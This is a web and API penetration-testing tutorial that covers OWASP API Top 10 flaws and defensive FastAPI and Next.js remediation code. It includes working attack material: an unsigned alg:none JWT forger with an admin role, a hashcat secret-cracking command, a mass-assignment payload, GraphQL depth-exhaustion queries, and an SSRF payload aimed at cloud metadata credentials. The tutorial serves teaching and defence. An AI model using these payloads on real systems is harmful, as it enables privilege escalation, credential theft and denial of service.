
A comprehensive first-principles guide to assessing and securing web APIs in 2026, covering OWASP API Top 10, BOLA testing, JWT security, GraphQL audits, and FastAPI/Next.js defensive remedia
Learn how to install Kali Linux dual boot alongside Windows 10/11. Complete step-by-step guide with partitioning, GRUB setup, troubleshooting, and safety warnings to prevent data loss.
13 min read
What breaks on an OAuth or OIDC login: redirect matching, PKCE, state, and the Host header. What I check, and what I turn on. No exploit lab.
12 min read
Basic knowledge of HTTP/HTTPS protocols, JSON, REST APIs, and command-line security testing tools (curl, Python).
Modern web applications rely heavily on decoupled architectures where single-page applications (SPAs), mobile clients, and microservices communicate via RESTful, GraphQL, and gRPC APIs. Traditional web application penetration testing often focuses solely on front-end input fields; however, modern API security assessment inspects underlying protocol mechanics, object-level authorization, state management, and schema integrity. This masterclass provides a complete, first-principles guide to assessing and securing web APIs in 2026, combining theoretical protocol foundations, annotated hands-on testing harnesses, real-world execution traces, and enterprise-grade defensive remediation code.
To evaluate an API's security posture, security engineers must understand how state, authentication, and data structures move across the OSI Layer 7 transport pipeline. An API (Application Programming Interface) is essentially an exposed interface allowing remote clients to execute functions and query data over HTTP/HTTPS protocols.
At the lowest level, an API call is an HTTP stream message consisting of a request line, header fields, and an optional body payload. Consider the HTTP stream wire representation:
POST /api/v1/users/1042/profile HTTP/1.1
Host: api.sentinelreign.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) Cybersecurity/2026
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
Accept: application/json
Content-Length: 54
{
"role": "admin",
"email": "attunement@sentinelreign.com"
}
POST /api/v1/users/1042/profile HTTP/1.1): Specifies the HTTP verb (POST), the target endpoint URI containing object resource ID 1042, and protocol version.Authorization passes identity state (JSON Web Token), while Content-Type tells the server parser how to deserialize the incoming payload (application/json).Understanding how application servers process API requests reveals where security boundaries break. The following diagram illustrates the complete execution pipeline from client request to database query across decoupled microservices:
+------------------+ +-----------------------+ +-------------------------+
| Client / Tester | ====> | API Gateway / WAF | ====> | Auth & JWT Middleware |
+------------------+ +-----------------------+ +-------------------------+
|
v
+------------------+ +-----------------------+ +-------------------------+
| PostgreSQL / DB | <==== | Business Logic Layer | <==== | Schema Validation DTO |
+------------------+ +-----------------------+ +-------------------------+
uid=501) owns or is authorized to access resource id=1042. Common Vulnerability Point: Skipping explicit database ownership checks."role": "admin").The OWASP API Security Top 10 maps the most prevalent vulnerabilities affecting enterprise APIs:
| Vulnerability Vector | Root Cause | Impact Severity | Primary Defensive Control |
|---|---|---|---|
| API1:2023 Broken Object Level Authorization (BOLA) | Missing user-to-object association verification in database queries. | High / Critical | Enforce strict RBAC/ABAC middleware validating tenant ownership at DB query layer. |
| API2:2023 Broken Authentication | Weak JWT secret keys, missing token expiration, algorithm confusion (alg: none). | High | Use asymmetric keys (RS256/EdDSA), enforce short lifetimes & rotation. |
| API3:2023 Broken Object Property Level Authorization | Mass Assignment & Excessive Data Exposure (unfiltered JSON serialization). | Medium / High | Enforce strict input/output Schema Validation (DTOs with Pydantic / Zod). |
| API4:2023 Unrestricted Resource Consumption | Missing rate limits on CPU-heavy endpoints (e.g., export, search, pagination). | Medium | Implement Redis leaky-bucket rate limiting and payload size limits. |
| API5:2023 Broken Function Level Authorization (BFLA) | Admin endpoints accessible by regular user accounts via verb manipulation. | High / Critical | Centralize role-based access control annotations on API routes. |
| API6:2023 Unrestricted Access to Sensitive Business Flows | Automated bot interaction abusing registration, reset, or checkout logic. | High | Rate limiting, device fingerprinting, CAPTCHA, behavioral telemetry. |
| API7:2023 Server-Side Request Forgery (SSRF) | Unsanitized URL parameters fetched directly by backend workers. | High / Critical | Restrict outbound networking via egress proxies and domain whitelisting. |
| API8:2023 Security Misconfiguration | Exposed stack traces, default CORS headers (Access-Control-Allow-Origin: *). | Medium | Enforce strict CORS policies, disable verbose debug modes in production. |
| API9:2023 Improper Inventory Management | Shadow APIs, unauthenticated v1 endpoints left exposed during v2 release. | Medium / High | Maintain automated API discovery pipelines and deprecate stale routes. |
| API10:2023 Unsafe Consumption of APIs | Trusting third-party API payloads without validation or sanitization. | High | Treat third-party response bodies as untrusted input; sanitize before processing. |
Before assessing API security logic, security auditors map all exposed routes using OpenAPI (Swagger) discovery, route brute-forcing, and traffic analysis.
asyncio & HTTP Client):#!/usr/bin/env python3
"""
API Route Reconnaissance & Endpoint Discovery Harness
Author: Syed Zada Abrar (Andrax Pentester)
Description: Asynchronous scanner for probing common API paths and Swagger specs.
"""
import asyncio
import aiohttp
import sys
TARGET_HOST = "https://api.sentinelreign.com"
COMMON_PATHS = [
"/api/v1/swagger.json",
"/api/v1/openapi.json",
"/v2/api-docs",
"/api/v1/users",
"/api/v1/admin/health",
"/graphql",
"/.well-known/openid-configuration"
]
async def check_endpoint(session, path):
url = f"{TARGET_HOST}{path}"
try:
async with session.get(url, timeout=5) as response:
status = response.status
content_type = response.headers.get("Content-Type", "")
print(f"[+] [{status}] Path: {path:<35} | Content-Type: {content_type}")
except Exception as e:
print(f"[-] [ERR] Path: {path:<35} | Error: {e}")
async def main():
print(f"[*] Probing API Target: {TARGET_HOST}")
headers = {"User-Agent": "SentinelAgent-SecurityAuditor/2.0"}
async with aiohttp.ClientSession(headers=headers) as session:
tasks = [check_endpoint(session, p) for p in COMMON_PATHS]
await asyncio.gather(*tasks)
if __name__ == "__main__":
asyncio.run(main())
BOLA occurs when an API endpoint accepts an object identifier (e.g., /api/v1/documents/8904) and performs state changes without verifying that the requester owns resource 8904.
TOKEN_A. User A owns document ID 1001.2002.2002 while supplying TOKEN_A in the authorization header:# Executing BOLA Audit via curl
curl -i -s -X GET "https://api.sentinelreign.com/api/v1/documents/2002" \
-H "Authorization: Bearer USER_A_JWT_TOKEN" \
-H "Content-Type: application/json"
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 184
{
"document_id": 2002,
"owner_email": "victim@sentinelreign.com",
"title": "Q3 Enterprise Security Audit Report",
"confidential_data": "INVISIBL3_SENTINEL_INTERNAL_KEYS"
}
Analysis: The HTTP 200 OK response confirms BOLA. The application server trusted the identity in TOKEN_A but failed to authorize ownership of object 2002.
JSON Web Tokens (JWTs) are structured standard tokens containing three Base64URL-encoded segments separated by dots: Header.Payload.Signature.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
alg: "none")Attackers modify the JWT header to set "alg": "none", remove the signature block, and check if the backend parser accepts unsigned tokens:
import base64
import json
# Header specifying 'none' algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"user_id": 101, "role": "administrator", "email": "admin@sentinelreign.com"}
def b64_url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip("=")
unsigned_jwt = f"{b64_url(header)}.{b64_url(payload)}."
print(f"[+] Crafted Unsigned JWT Payload: {unsigned_jwt}")
When HMAC-SHA256 (HS256) is used with weak secret strings, attackers capture tokens and crack the secret key offline:
# Cracking JWT HS256 secret using hashcat
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt --force
Mass Assignment occurs when API frameworks automatically map HTTP JSON body parameters into domain model objects without filtering prohibited fields.
A user updates their profile using PUT /api/v1/user/settings. The front-end form sends:
{
"display_name": "Syed Zada Abrar",
"bio": "Cybersecurity Lead Researcher"
}
An auditor injects privileged attributes into the POST/PUT request:
{
"display_name": "Syed Zada Abrar",
"bio": "Cybersecurity Lead Researcher",
"is_admin": true,
"account_tier": "enterprise_unlimited",
"verified_status": true
}
If the backend uses unshielded object mapping (User.update(req.body)), the application updates internal administrative flags.
GraphQL provides a flexible single-endpoint query engine (/graphql). However, unhardened GraphQL setups expose internal schemas via Introspection queries or suffer from Denial-of-Service attacks through nested query loops.
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
fields {
name
type { name kind }
}
}
}
}
Unlike REST, which requires multiple GET calls, GraphQL allows nesting relationships indefinitely:
query ResourceExhaustionLoop {
user(id: "1") {
friends {
friends {
friends {
friends {
email
}
}
}
}
}
}
Audit Action: Send nested queries of varying depth. If the server crashes or takes > 10 seconds to respond, query depth limiting (graphql-depth-limit) is missing.
API webhooks allow users to register callback URLs (https://user-server.com/webhook). If the backend fetches this URL without IP filtering, attackers point the webhook to internal cloud metadata IP addresses (AWS IMDSv1/v2).
{
"event": "payment_completed",
"target_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
Securing web APIs requires enforcing defense-in-depth principles across data validation, access control, and logging layers.
from fastapi import FastAPI, Depends, HTTPException, status
from sqlalchemy.orm import Session
from pydantic import BaseModel
import models, database, auth
app = FastAPI(title="SentinelReign Secure API Engine")
# Secure Endpoint Pattern
@app.get("/api/v1/documents/{document_id}", response_model=schemas.DocumentResponse)
def get_document(
document_id: int,
current_user: models.User = Depends(auth.get_current_active_user),
db: Session = Depends(database.get_db)
):
# 1. Fetch document from database
doc = db.query(models.Document).filter(models.Document.id == document_id).first()
if not doc:
raise HTTPException(
status_code=status.HTTP_404_NOT_FOUND,
detail="Requested document resource not found."
)
# 2. Strict Object Ownership Verification (BOLA Remediation)
if doc.owner_id != current_user.id and current_user.role != "super_admin":
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail="Access Denied: You do not hold ownership authorization for this object."
)
return doc
To prevent Mass Assignment, APIs must parse incoming payloads through explicitly defined Data Transfer Objects (DTOs) that whitelist only allowable attributes:
// Next.js / TypeScript API Route Hardening using Zod DTO Validation
import { z } from 'zod';
import { NextRequest, NextResponse } from 'next/server';
// Strict Update DTO - Excludes 'role', 'is_admin', and 'tenant_id'
const ProfileUpdateSchema = z.object({
displayName: z.string().min(2).max(50),
bio: z.string().max(250).optional(),
avatarUrl: z.string().url().optional(),
});
export async function PUT(req: NextRequest) {
try {
const rawBody = await req.json();
// Validation step strips all unknown fields automatically
const safeData = ProfileUpdateSchema.parse(rawBody);
// Update DB using only validated DTO data
// await db.user.update({ where: { id: userId }, data: safeData });
return NextResponse.json({ success: true, data: safeData });
} catch (error) {
return NextResponse.json({ error: "Invalid Schema Request Payload" }, { status: 400 });
}
}
import redis
import time
from fastapi import Request, HTTPException, status
r = redis.Redis(host='localhost', port=6379, db=0)
def rate_limit_middleware(request: Request, client_ip: str, max_requests: int = 100, window_seconds: int = 60):
key = f"rate_limit:{client_ip}"
current_time = int(time.time())
pipeline = r.pipeline()
pipeline.zremrangebyscore(key, 0, current_time - window_seconds)
pipeline.zadd(key, {str(current_time): current_time})
pipeline.zcard(key)
pipeline.expire(key, window_seconds)
results = pipeline.execute()
request_count = results[2]
if request_count > max_requests:
raise HTTPException(
status_code=status.HTTP_429_TOO_MANY_REQUESTS,
detail="Rate limit exceeded. Please wait before making further API requests."
)
Before releasing or auditing web APIs, verify compliance against the following technical controls:
exp, nbf).Access-Control-Allow-Origin: https://app.sentinelreign.com). Never use * with credentials.graphql-depth-limit) and disable Introspection in production.Authored by Syed Zada Abrar (Lead Researcher, Andrax Pentester · Architect, SentinelReign).
Published natively on Andrax Pentester (Web & API Penetration Testing Masterclass 2026).
Share this tutorial
Master Cross-Site WebSocket Hijacking (CSWSH) in 2026. Explore HTTP/1.1 upgrade mechanics, Origin header bypasses, token leakage via query params, weaponized HTML/JS exploit PoCs, Python audi
22 min read
Sign in to leave a comment.